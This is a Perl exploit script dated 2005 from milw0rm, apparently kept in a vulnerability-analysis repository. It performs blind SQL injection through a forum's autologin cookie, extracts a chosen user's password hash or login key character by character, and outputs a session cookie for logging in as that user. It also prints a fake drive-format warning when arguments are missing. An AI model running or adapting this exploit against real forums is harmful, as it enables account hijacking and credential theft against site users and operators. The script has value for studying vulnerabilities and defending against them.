lilbool/vuln-code-analysis

1#!/usr/bin/perl -w

2##################################################################

3# This one actually works :) Just paste the outputted cookie into

4# your request header using livehttpheaders or something and you

5# will probably be logged in as that user. No need to decrypt it!

6# Exploit coded by "Tony Little Lately" and "Petey Beege"

7##################################################################

8

9use LWP::UserAgent;

10

11   $ua = new LWP::UserAgent;

12   $ua->agent("Mosiac 1.0" . $ua->agent);

13

14if (!$ARGV[0]) {$ARGV[0] = '';}

15if (!$ARGV[3]) {$ARGV[3] = '';}

16

17my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';

18my $user = $ARGV[1];   # userid to jack

19my $iver = $ARGV[2];   # version 1 or 2

20my $cpre = $ARGV[3];   # cookie prefix

21my $dbug = $ARGV[4];   # debug?

22

23if (!$ARGV[2])

24{

25        print "The type of the file system is NTFS.\n\n";

26        print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";

27        print "DRIVE C: WILL BE LOST!\n";

28        print "Proceed with Format (Y/N)?\n";

29        exit;

30}

31

32my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

33

34my $outputs = '';

35

36for( $i=1; $i < 33; $i++ )

37{

38        for( $j=0; $j < 16; $j++ )

39        {

40                my $current = $charset[$j];

41            my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :

42"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";

43                my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);

44                my $res = $ua->get($path, @cookie);

45

46                # If we get a valid sql request then this

47                # does not appear anywhere in the sources

48                $pattern = '<title>(.*)Log In(.*)</title>';

49

50                $_ = $res->content;

51

52                if ($dbug) { print };

53

54                if ( !(/$pattern/) )

55                {

56                        $outputs .= $current;

57                        print "$current\n";

58                    last;

59                }

60

61        }

62  if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }

63}

64print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;

65exit;

66

67# milw0rm.com [2005-05-26]